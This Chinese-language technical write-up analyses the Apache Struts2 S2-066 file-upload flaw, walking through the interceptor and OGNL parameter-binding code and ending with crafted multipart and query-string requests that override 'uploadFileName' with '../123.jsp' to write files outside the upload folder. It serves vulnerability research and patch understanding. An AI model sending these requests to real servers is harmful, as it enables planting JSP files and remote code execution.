Apache Struts2 文件上传分析(S2-066) struts2也很久没出过漏洞了吧,这次爆的是和文件上传相关
相关的commit在https://github.com/apache/struts/commit/162e29fee9136f4bfd9b2376da2cbf590f9ea163
首先从commit可以看出,漏洞和大小写参数有关,后面会具体谈及
同时结合CVE描述我们可以知道,大概和路径穿越有关
1 An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution. Users are recommended to upgrade to versions Struts 2.5.33 or Struts 6.3.0.2 or greater to fix this issue.
环境 这里我以6.3.0为例搭建
1 2 3 4 5 <dependency > <groupId > org.apache.struts</groupId > <artifactId > struts2-core</artifactId > <version > 6.3.0</version > </dependency >
定义一个UploadAction
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package com.struts2;import com.opensymphony.xwork2.ActionSupport;import org.apache.commons.io.FileUtils;import org.apache.struts2.ServletActionContext;import java.io.*;public class UploadAction extends ActionSupport { private static final long serialVersionUID = 1L ; private File upload; private String uploadContentType; private String uploadFileName; public File getUpload () { return upload; } public void setUpload (File upload) { this .upload = upload; } public String getUploadContentType () { return uploadContentType; } public void setUploadContentType (String uploadContentType) { this .uploadContentType = uploadContentType; } public String getUploadFileName () { return uploadFileName; } public void setUploadFileName (String uploadFileName) { this .uploadFileName = uploadFileName; } public String doUpload () { String path = ServletActionContext.getServletContext().getRealPath("/" )+"upload" ; String realPath = path + File.separator +uploadFileName; try { FileUtils.copyFile(upload, new File(realPath)); } catch (Exception e) { e.printStackTrace(); } return SUCCESS; } }
在struts.xml当中,通常默认配置下这个文件在项目路径的/WEB-INF/classes路径下
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd" > <struts > <package name ="upload" extends ="struts-default" > <action name ="upload" class ="com.struts2.UploadAction" method ="doUpload" > <result name ="success" type ="" > /index.jsp</result > </action > </package > </struts >
以及在web.xml当中配置好filter
1 2 3 4 5 6 7 8 <filter > <filter-name > struts2</filter-name > <filter-class > org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class > </filter > <filter-mapping > <filter-name > struts2</filter-name > <url-pattern > *.action</url-pattern > </filter-mapping >
分析 从文件上传的Action也可以看出,struts2当中,文件上传的过程主要涉及到两个重要参数,以我的环境命名为例upload以及uploadFileName
上面描述可知此漏洞为路径穿越,而我们知道Struts2本身是有一系列默认拦截器,这部分配置在struts-default.xml中,其中就包含了一个与文件上传相关的拦截器org.apache.struts2.interceptor.FileUploadInterceptor
我们先来测试一下文件上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /upload.action HTTP/1.1 Host : 127.0.0.1Accept : */*Accept-Encoding : gzip, deflateContent-Length : 188Content-Type : multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Disposition: form-data; name ="Upload"; filename="../1.txt" Content-Type : text /plain 1 aaa
发现落地的文件名字变成了1.txt
我们简单来做个debug,看看文件上传的处理流程
首先在org.apache.struts2.interceptor.FileUploadInterceptor#intercept中
获取文件名通过multiWrapper.getFileNames做处理
最终是由org.apache.struts2.dispatcher.multipart.AbstractMultiPartRequest#getCanonicalName做文件名处理,以下是部分调试栈,有兴趣的可以自行debug
1 2 3 4 getCanonicalName:162 , AbstractMultiPartRequest (org.apache.struts2.dispatcher.multipart) getFileNames:265 , JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart) getFileNames:159 , MultiPartRequestWrapper (org.apache.struts2.dispatcher.multipart) intercept:279 , FileUploadInterceptor (org.apache.struts2.interceptor)
这部分代码很直白,拦截了路径穿越
1 2 3 4 5 6 7 8 9 10 11 12 protected String getCanonicalName (final String originalFileName) { String fileName = originalFileName; int forwardSlash = fileName.lastIndexOf('/' ); int backwardSlash = fileName.lastIndexOf('\\' ); if (forwardSlash != -1 && forwardSlash > backwardSlash) { fileName = fileName.substring(forwardSlash + 1 ); } else { fileName = fileName.substring(backwardSlash + 1 ); } return fileName; }
继续回到FileUploadInterceptor当中,处理完文件后,会把一些信息保存到acceptedFiles/acceptedContentTypes/acceptedFileNames中,从下面的fileNameName也可以看出为什么我们的Action一定要那样命名上传的文件名
再往下将这些参数保存到了org.apache.struts2.dispatcher.HttpParameters对象当中
既然是保存到了HttpParameter参数中,结合Commit当中的一些讯息,接下来我们很容易有个思考,既然是HttpParameter,是不是存在其他传参的过程能够做变量覆盖
从上面的图片做深入分析,我们可以知道ac.getParameters()
获取到的HttpParameter对象是从上下文获取的
上下文的创建在org.apache.struts2.dispatcher.Dispatcher#serviceAction
在创建上下文的过程当中我们发现,调用了HttpParameters.create
将请求的参数保存到了当中
看到这里其实我们也就可以知道大概思路了,参数的保存既然在FileUploadInterceptor之前,那么变量覆盖就不存在了(存储结构为Map,key唯一),结合到commit当中的一些大小写,此时我们不难猜到如果我们将上传的文件名小写,那会不会在将参数绑定到Action对象的过程当中
而这部分处理过程就在com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept
里面调用了com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters
做参数绑定,这个过程老生常谈了,不懂得可以去百度了解了解这里不多谈了
当然这里还是需要多说一点,这个方法的调用是有顺序的,这和Map的存储结构有关
这里可以看到是Treemap
可以看到大写的会优先(Map结构)
踩坑 我第一次打的时候把最后一位大写了,但是发现没有调用到set方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /upload.action HTTP/1.1 Host: 127.0 .0 .1 Accept: *
经过debug可以发现在ognl.OgnlRuntime#_getSetMethod
获取setter方法时调用了ognl.OgnlRuntime#getDeclaredMethods
做处理
省略垃圾时间吧,最终在ognl.OgnlRuntime#addIfAccessor
,可以看到必须满足ms.endsWith(baseName)
(这点很关键,也就是说你的Action的程序代码怎么写影响你怎么写参数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private static void addIfAccessor (List result, Method method, String baseName, boolean findSets) { final String ms = method.getName(); if (ms.endsWith(baseName)) { boolean isSet = false , isIs = false ; if ((isSet = ms.startsWith(SET_PREFIX)) || ms.startsWith(GET_PREFIX) || (isIs = ms.startsWith(IS_PREFIX))) { int prefixLength = (isIs ? 2 : 3 ); if (isSet == findSets) { if (baseName.length() == (ms.length() - prefixLength)) { result.add(method); } } } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 部分调用栈如下 addIfAccessor:2701, OgnlRuntime (ognl) collectAccessors:2686, OgnlRuntime (ognl) getDeclaredMethods:2653, OgnlRuntime (ognl) _getSetMethod:2915, OgnlRuntime (ognl) getSetMethod:2884, OgnlRuntime (ognl) hasSetMethod:2955, OgnlRuntime (ognl) hasSetProperty:2973, OgnlRuntime (ognl) setProperty:83, CompoundRootAccessor (com.opensymphony.xwork2.ognl.accessor) setProperty:3359, OgnlRuntime (ognl) setValueBody:134, ASTProperty (ognl) evaluateSetValueBody:220, SimpleNode (ognl) setValue:308, SimpleNode (ognl) setValue:829, Ognl (ognl) lambda$setValue$2:550, OgnlUtil (com.opensymphony.xwork2.ognl) execute:-1, 102405086 (com.opensymphony.xwork2.ognl.OgnlUtil$$Lambda$53) compileAndExecute:625, OgnlUtil (com.opensymphony.xwork2.ognl) setValue:543, OgnlUtil (com.opensymphony.xwork2.ognl) trySetValue:195, OgnlValueStack (com.opensymphony.xwork2.ognl) setValue:182, OgnlValueStack (com.opensymphony.xwork2.ognl) setParameter:166, OgnlValueStack (com.opensymphony.xwork2.ognl) setParameters:228, ParametersInterceptor (com.opensymphony.xwork2.interceptor) ....
而baseName其实也是有做了处理的(必须看),回到之前的getDeclaredMethods
方法,我们的属性名会被capitalizeBeanPropertyName
处理
做了很多分支判断,可以看到特殊支持了一些特殊方法的调用,但是其实前面的几个不能用,因为他们后面多了一些字符()
,在之前提到的endwith是不包括这些符号的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private static String capitalizeBeanPropertyName (String propertyName) { if (propertyName.length() == 1 ) { return propertyName.toUpperCase(); } if (propertyName.startsWith(GET_PREFIX) && propertyName.endsWith("()" )) { if (Character.isUpperCase(propertyName.substring(3 ,4 ).charAt(0 ))) { return propertyName; } } if (propertyName.startsWith(SET_PREFIX) && propertyName.endsWith(")" )) { if (Character.isUpperCase(propertyName.substring(3 ,4 ).charAt(0 ))) { return propertyName; } } if (propertyName.startsWith(IS_PREFIX) && propertyName.endsWith("()" )) { if (Character.isUpperCase(propertyName.substring(2 ,3 ).charAt(0 ))) { return propertyName; } } char first = propertyName.charAt(0 ); char second = propertyName.charAt(1 ); if (Character.isLowerCase(first) && Character.isUpperCase(second)) { return propertyName; } else { char [] chars = propertyName.toCharArray(); chars[0 ] = Character.toUpperCase(chars[0 ]); return new String(chars); } }
我们主要关注下面的部分,如果属性第一个字符小写第二个大写直接返回,否则返回时将第一个字母大写
1 2 3 4 5 6 7 8 9 char first = propertyName.charAt(0 );char second = propertyName.charAt(1 );if (Character.isLowerCase(first) && Character.isUpperCase(second)) { return propertyName; } else { char [] chars = propertyName.toCharArray(); chars[0 ] = Character.toUpperCase(chars[0 ]); return new String(chars); }
在这里的例子当中我们需要调用com.struts2.UploadAction#setUploadFileName
因此也只能限制了我们的写法要么是UploadFileName
要么是uploadFileName
(前面提到的endwith+capitalizeBeanPropertyName处理)
最终构造 按照Map存储的调用顺序我们即可构造
1 2 3 4 5 6 7 8 9 10 11 --------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN Content-Disposition: form-data; name="Upload" ; filename="1.txt" Content-Type: text/plain 1aaa --------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN Content-Disposition: form-data; name="uploadFileName" ; Content-Type: text/plain ../123. jsp --------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--
或者
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /upload.action?uploadFileName=../1234. jsp HTTP/1.1 Host: 127.0 .0 .1 Accept: *